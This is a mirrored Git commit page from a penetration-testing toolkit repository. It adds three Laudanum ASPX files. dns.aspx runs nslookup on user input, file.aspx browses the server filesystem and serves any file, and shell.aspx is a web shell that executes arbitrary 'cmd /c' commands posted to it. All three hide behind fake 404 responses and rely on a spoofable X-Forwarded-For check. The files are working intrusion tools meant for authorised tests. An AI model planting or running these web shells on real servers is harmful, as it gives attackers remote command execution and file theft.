mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-07-31 02:38:40 -04:00
Add some fuzzing stuff and wordlists
This commit is contained in:
bt3
parent
4261c9c087
commit
4d24e016b8
160 changed files with 7723391 additions and 527 deletions
144
Vulnerabilities_and_Exploits/Payloads/laudanum-0.8/aspx/dns.aspx
Executable file
144
Vulnerabilities_and_Exploits/Payloads/laudanum-0.8/aspx/dns.aspx
Executable file
|
|
@ -0,0 +1,144 @@
|
|||
<%@ Page Language="C#"%>
|
||||
<%@ Import Namespace="System" %>
|
||||
<html><head><title>Laudanum - DNS</title></head><body>
|
||||
<script runat="server">
|
||||
|
||||
/* *****************************************************************************
|
||||
***
|
||||
*** Laudanum Project
|
||||
*** A Collection of Injectable Files used during a Penetration Test
|
||||
***
|
||||
*** More information is available at:
|
||||
*** http://laudanum.secureideas.com
|
||||
*** laudanum@secureideas.com
|
||||
***
|
||||
*** Project Leads:
|
||||
*** Kevin Johnson <kevin@secureideas.com>
|
||||
***
|
||||
*** Copyright 2012 by Kevin Johnson and the Laudanum Team
|
||||
***
|
||||
********************************************************************************
|
||||
***
|
||||
*** This file provides shell access to DNS on the system.
|
||||
*** Written by James Jardine <james@secureideas.com>
|
||||
***
|
||||
********************************************************************************
|
||||
*** This program is free software; you can redistribute it and/or
|
||||
*** modify it under the terms of the GNU General Public License
|
||||
*** as published by the Free Software Foundation; either version 2
|
||||
*** of the License, or (at your option) any later version.
|
||||
***
|
||||
*** This program is distributed in the hope that it will be useful,
|
||||
*** but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
*** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
*** GNU General Public License for more details.
|
||||
***
|
||||
*** You can get a copy of the GNU General Public License from this
|
||||
*** address: http://www.gnu.org/copyleft/gpl.html#SEC1
|
||||
*** You can also write to the Free Software Foundation, Inc., 59 Temple
|
||||
*** Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
***
|
||||
***************************************************************************** */
|
||||
|
||||
// ********************* Config entries below ***********************************
|
||||
// IPs are enterable as individual addresses
|
||||
string[] allowedIPs = new string[3] { "::1", "192.168.1.1", "127.0.0.1" };
|
||||
|
||||
// ***************** No editable content below this line **************************
|
||||
|
||||
string stdout = "";
|
||||
string stderr = "";
|
||||
string[] qtypes = "Any,A,AAAA,A+AAAA,CNAME,MX,NS,PTR,SOA,SRV".Split(',');
|
||||
void die() {
|
||||
//HttpContext.Current.Response.Clear();
|
||||
HttpContext.Current.Response.StatusCode = 404;
|
||||
HttpContext.Current.Response.StatusDescription = "Not Found";
|
||||
HttpContext.Current.Response.Write("<h1>404 Not Found</h1>");
|
||||
HttpContext.Current.Server.ClearError();
|
||||
HttpContext.Current.Response.End();
|
||||
}
|
||||
|
||||
void Page_Load(object sender, System.EventArgs e) {
|
||||
// check if the X-Fordarded-For header exits
|
||||
string remoteIp;
|
||||
if (HttpContext.Current.Request.Headers["X-Forwarded-For"] == null) {
|
||||
remoteIp = Request.UserHostAddress;
|
||||
} else {
|
||||
remoteIp = HttpContext.Current.Request.Headers["X-Forwarded-For"].Split(new char[] { ',' })[0];
|
||||
}
|
||||
|
||||
bool validIp = false;
|
||||
foreach (string ip in allowedIPs) {
|
||||
validIp = (validIp || (remoteIp == ip));
|
||||
}
|
||||
|
||||
if (!validIp) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
string qType = "Any";
|
||||
bool validType = false;
|
||||
if (Request.Form["type"] != null)
|
||||
{
|
||||
qType = Request.Form["type"].ToString();
|
||||
foreach (string s in qtypes)
|
||||
{
|
||||
if (s == qType)
|
||||
{
|
||||
validType = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!validType)
|
||||
qType = "Any";
|
||||
}
|
||||
|
||||
|
||||
if (Request.Form["query"] != null)
|
||||
{
|
||||
string query = Request.Form["query"].Replace(" ", string.Empty).Replace(" ", string.Empty);
|
||||
|
||||
if(query.Length > 0)
|
||||
{
|
||||
System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("nslookup", "-type=" + qType + " " + query);
|
||||
// The following commands are needed to redirect the standard output and standard error.
|
||||
procStartInfo.RedirectStandardOutput = true;
|
||||
procStartInfo.RedirectStandardError = true;
|
||||
procStartInfo.UseShellExecute = false;
|
||||
|
||||
// Do not create the black window.
|
||||
procStartInfo.CreateNoWindow = true;
|
||||
|
||||
// Now we create a process, assign its ProcessStartInfo and start it
|
||||
System.Diagnostics.Process p = new System.Diagnostics.Process();
|
||||
p.StartInfo = procStartInfo;
|
||||
p.Start();
|
||||
// Get the output and error into a string
|
||||
stdout = p.StandardOutput.ReadToEnd();
|
||||
stderr = p.StandardError.ReadToEnd();
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
<form method="post">
|
||||
QUERY: <input type="text" name="query"/><br />
|
||||
Type: <select name="type">
|
||||
<%
|
||||
foreach (string s in qtypes)
|
||||
{
|
||||
Response.Write("<option value=\"" + s + "\">" + s + "</option>");
|
||||
}
|
||||
%>
|
||||
</select>
|
||||
<input type="submit"><br/>
|
||||
STDOUT:<br/>
|
||||
<pre><% = stdout.Replace("<", "<") %></pre>
|
||||
<br/>
|
||||
<br/>
|
||||
<br/>
|
||||
STDERR:<br/>
|
||||
<pre><% = stderr.Replace("<", "<") %></pre>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
154
Vulnerabilities_and_Exploits/Payloads/laudanum-0.8/aspx/file.aspx
Executable file
154
Vulnerabilities_and_Exploits/Payloads/laudanum-0.8/aspx/file.aspx
Executable file
|
|
@ -0,0 +1,154 @@
|
|||
<%@ Page Language="C#"%>
|
||||
<%@ Import Namespace="System" %>
|
||||
<html><head><title>Laudanum - File</title></head><body>
|
||||
<script runat="server">
|
||||
|
||||
/* *****************************************************************************
|
||||
***
|
||||
*** Laudanum Project
|
||||
*** A Collection of Injectable Files used during a Penetration Test
|
||||
***
|
||||
*** More information is available at:
|
||||
*** http://laudanum.secureideas.com
|
||||
*** laudanum@secureideas.com
|
||||
***
|
||||
*** Project Leads:
|
||||
*** Kevin Johnson <kevin@secureideas.com>
|
||||
***
|
||||
*** Copyright 2012 by Kevin Johnson and the Laudanum Team
|
||||
***
|
||||
********************************************************************************
|
||||
***
|
||||
*** This file allows browsing of the file system
|
||||
*** Written by James Jardine <james@secureideas.com>
|
||||
***
|
||||
********************************************************************************
|
||||
*** This program is free software; you can redistribute it and/or
|
||||
*** modify it under the terms of the GNU General Public License
|
||||
*** as published by the Free Software Foundation; either version 2
|
||||
*** of the License, or (at your option) any later version.
|
||||
***
|
||||
*** This program is distributed in the hope that it will be useful,
|
||||
*** but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
*** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
*** GNU General Public License for more details.
|
||||
***
|
||||
*** You can get a copy of the GNU General Public License from this
|
||||
*** address: http://www.gnu.org/copyleft/gpl.html#SEC1
|
||||
*** You can also write to the Free Software Foundation, Inc., 59 Temple
|
||||
*** Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
********************************************************************************* */
|
||||
|
||||
// ********************* Config entries below ***********************************
|
||||
// IPs are enterable as individual addresses
|
||||
string[] allowedIPs = new string[3] {"::1", "192.168.1.1","127.0.0.1"};
|
||||
|
||||
// ***************** No editable content below this line **************************
|
||||
bool allowed = false;
|
||||
string dir = "";
|
||||
string file = "";
|
||||
|
||||
void Page_Load(object sender, System.EventArgs e)
|
||||
{
|
||||
|
||||
foreach (string ip in allowedIPs)
|
||||
{
|
||||
if (HttpContext.Current.Request.ServerVariables["REMOTE_ADDR"] == ip)
|
||||
{
|
||||
allowed = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (!allowed)
|
||||
{
|
||||
die();
|
||||
}
|
||||
|
||||
//dir = Request.QueryString["dir"] != null ? Request.QueryString["dir"] : Environment.SystemDirectory;
|
||||
dir = Request.QueryString["dir"] != null ? Request.QueryString["dir"] : Server.MapPath(".");
|
||||
file = Request.QueryString["file"] != null ? Request.QueryString["file"] : "";
|
||||
|
||||
if (file.Length > 0)
|
||||
{
|
||||
if (System.IO.File.Exists(file))
|
||||
{
|
||||
writefile();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void writefile()
|
||||
{
|
||||
Response.ClearContent();
|
||||
Response.Clear();
|
||||
Response.ContentType = "text/plain";
|
||||
//Uncomment the next line if you would prefer to download the file vs display it.
|
||||
//Response.AddHeader("Content-Disposition", "attachment; filename=" + file + ";");
|
||||
Response.TransmitFile(file);
|
||||
Response.Flush();
|
||||
Response.End();
|
||||
}
|
||||
|
||||
void die() {
|
||||
//HttpContext.Current.Response.Clear();
|
||||
HttpContext.Current.Response.StatusCode = 404;
|
||||
HttpContext.Current.Response.StatusDescription = "Not Found";
|
||||
HttpContext.Current.Response.Write("<h1>404 Not Found</h1>");
|
||||
HttpContext.Current.Server.ClearError();
|
||||
HttpContext.Current.Response.End();
|
||||
}
|
||||
|
||||
|
||||
</script>
|
||||
<html>
|
||||
<head></head>
|
||||
<% string[] breadcrumbs = dir.Split('\\');
|
||||
string breadcrumb = "";
|
||||
foreach (string b in breadcrumbs)
|
||||
{
|
||||
if (b.Length > 0)
|
||||
{
|
||||
breadcrumb += b + "\\";
|
||||
Response.Write("<a href=\"" + "file.aspx" + "?dir=" + Server.UrlEncode(breadcrumb) + "\">" + Server.HtmlEncode(b) + "</a>");
|
||||
Response.Write(" / ");
|
||||
}
|
||||
}
|
||||
%>
|
||||
<table>
|
||||
<tr><th>Name</th><th>Date</th><th>Size</th></tr>
|
||||
<%
|
||||
try
|
||||
{
|
||||
if (System.IO.Directory.Exists(dir))
|
||||
{
|
||||
string[] folders = System.IO.Directory.GetDirectories(dir);
|
||||
foreach (string folder in folders)
|
||||
{
|
||||
Response.Write("<tr><td><a href=\"" + "file.aspx" + "?dir=" + Server.UrlEncode(folder) + "\">" + Server.HtmlEncode(folder) + "</a></td><td></td><td></td></tr>");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Response.Write("This directory doesn't exist: " + Server.HtmlEncode(dir));
|
||||
Response.End();
|
||||
}
|
||||
|
||||
}
|
||||
catch (System.UnauthorizedAccessException ex)
|
||||
{
|
||||
Response.Write("You Don't Have Access to this directory: " + Server.HtmlEncode(dir));
|
||||
Response.End();
|
||||
}
|
||||
%>
|
||||
|
||||
<%
|
||||
System.IO.DirectoryInfo di = new System.IO.DirectoryInfo(dir);
|
||||
System.IO.FileInfo[] files = di.GetFiles();
|
||||
foreach (System.IO.FileInfo f in files)
|
||||
{
|
||||
Response.Write("<tr><td><a href=\"" + "file.aspx" + "?dir=" + Server.UrlEncode(dir) + "&file=" + Server.UrlEncode(f.FullName) + "\">" + Server.HtmlEncode(f.Name) + "</a></td><td>" + f.CreationTime.ToString() + "</td><td>" + f.Length.ToString() + "</td></tr>");
|
||||
}
|
||||
%>
|
||||
</table>
|
||||
</body>
|
||||
</html>
|
||||
129
Vulnerabilities_and_Exploits/Payloads/laudanum-0.8/aspx/shell.aspx
Executable file
129
Vulnerabilities_and_Exploits/Payloads/laudanum-0.8/aspx/shell.aspx
Executable file
|
|
@ -0,0 +1,129 @@
|
|||
<%@ Page Language="C#"%>
|
||||
<%@ Import Namespace="System" %>
|
||||
|
||||
<script runat="server">
|
||||
|
||||
/* *****************************************************************************
|
||||
***
|
||||
*** Laudanum Project
|
||||
*** A Collection of Injectable Files used during a Penetration Test
|
||||
***
|
||||
*** More information is available at:
|
||||
*** http://laudanum.secureideas.net
|
||||
*** laudanum@secureideas.net
|
||||
***
|
||||
*** Project Leads:
|
||||
*** Kevin Johnson <kjohnson@secureideas.net>
|
||||
*** Tim Medin <tim@securitywhole.com>
|
||||
***
|
||||
*** Copyright 2012 by Kevin Johnson and the Laudanum Team
|
||||
***
|
||||
********************************************************************************
|
||||
***
|
||||
*** This file provides shell access to the system.
|
||||
***
|
||||
********************************************************************************
|
||||
*** This program is free software; you can redistribute it and/or
|
||||
*** modify it under the terms of the GNU General Public License
|
||||
*** as published by the Free Software Foundation; either version 2
|
||||
*** of the License, or (at your option) any later version.
|
||||
***
|
||||
*** This program is distributed in the hope that it will be useful,
|
||||
*** but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
*** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
*** GNU General Public License for more details.
|
||||
***
|
||||
*** You can get a copy of the GNU General Public License from this
|
||||
*** address: http://www.gnu.org/copyleft/gpl.html#SEC1
|
||||
*** You can also write to the Free Software Foundation, Inc., 59 Temple
|
||||
*** Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
***
|
||||
***************************************************************************** */
|
||||
|
||||
string stdout = "";
|
||||
string stderr = "";
|
||||
|
||||
void die() {
|
||||
//HttpContext.Current.Response.Clear();
|
||||
HttpContext.Current.Response.StatusCode = 404;
|
||||
HttpContext.Current.Response.StatusDescription = "Not Found";
|
||||
HttpContext.Current.Response.Write("<h1>404 Not Found</h1>");
|
||||
HttpContext.Current.Server.ClearError();
|
||||
HttpContext.Current.Response.End();
|
||||
}
|
||||
|
||||
void Page_Load(object sender, System.EventArgs e) {
|
||||
|
||||
// Check for an IP in the range we want
|
||||
string[] allowedIps = new string[] {"::1","192.168.0.1", "127.0.0.1"};
|
||||
|
||||
// check if the X-Fordarded-For header exits
|
||||
string remoteIp;
|
||||
if (HttpContext.Current.Request.Headers["X-Forwarded-For"] == null) {
|
||||
remoteIp = Request.UserHostAddress;
|
||||
} else {
|
||||
remoteIp = HttpContext.Current.Request.Headers["X-Forwarded-For"].Split(new char[] { ',' })[0];
|
||||
}
|
||||
|
||||
bool validIp = false;
|
||||
foreach (string ip in allowedIps) {
|
||||
validIp = (validIp || (remoteIp == ip));
|
||||
}
|
||||
|
||||
if (!validIp) {
|
||||
die();
|
||||
}
|
||||
|
||||
if (Request.Form["c"] != null) {
|
||||
// do or do not, there is no try
|
||||
//try {
|
||||
// create the ProcessStartInfo using "cmd" as the program to be run, and "/c " as the parameters.
|
||||
// "/c" tells cmd that we want it to execute the command that follows, and exit.
|
||||
System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + Request.Form["c"]);
|
||||
|
||||
// The following commands are needed to redirect the standard output and standard error.
|
||||
procStartInfo.RedirectStandardOutput = true;
|
||||
procStartInfo.RedirectStandardError = true;
|
||||
procStartInfo.UseShellExecute = false;
|
||||
// Do not create the black window.
|
||||
procStartInfo.CreateNoWindow = true;
|
||||
// Now we create a process, assign its ProcessStartInfo and start it
|
||||
System.Diagnostics.Process p = new System.Diagnostics.Process();
|
||||
p.StartInfo = procStartInfo;
|
||||
p.Start();
|
||||
// Get the output and error into a string
|
||||
stdout = p.StandardOutput.ReadToEnd();
|
||||
stderr = p.StandardError.ReadToEnd();
|
||||
//}
|
||||
//catch (Exception objException)
|
||||
//{
|
||||
}
|
||||
}
|
||||
</script>
|
||||
<html>
|
||||
<head><title>Laundanum ASPX Shell</title></head>
|
||||
<body onload="document.shell.c.focus()">
|
||||
|
||||
<form method="post" name="shell">
|
||||
cmd /c <input type="text" name="c"/>
|
||||
<input type="submit"><br/>
|
||||
STDOUT:<br/>
|
||||
<pre><% = stdout.Replace("<", "<") %></pre>
|
||||
<br/>
|
||||
<br/>
|
||||
<br/>
|
||||
STDERR:<br/>
|
||||
<pre><% = stderr.Replace("<", "<") %></pre>
|
||||
|
||||
|
||||
</form>
|
||||
|
||||
<hr/>
|
||||
<address>
|
||||
Copyright © 2012, <a href="mailto:laudanum@secureideas.net">Kevin Johnson</a> and the Laudanum team.<br/>
|
||||
Written by Tim Medin.<br/>
|
||||
Get the latest version at <a href="http://laudanum.secureideas.net">laudanum.secureideas.net</a>.
|
||||
</address>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
Loading…
Add table
Add a link
Reference in a new issue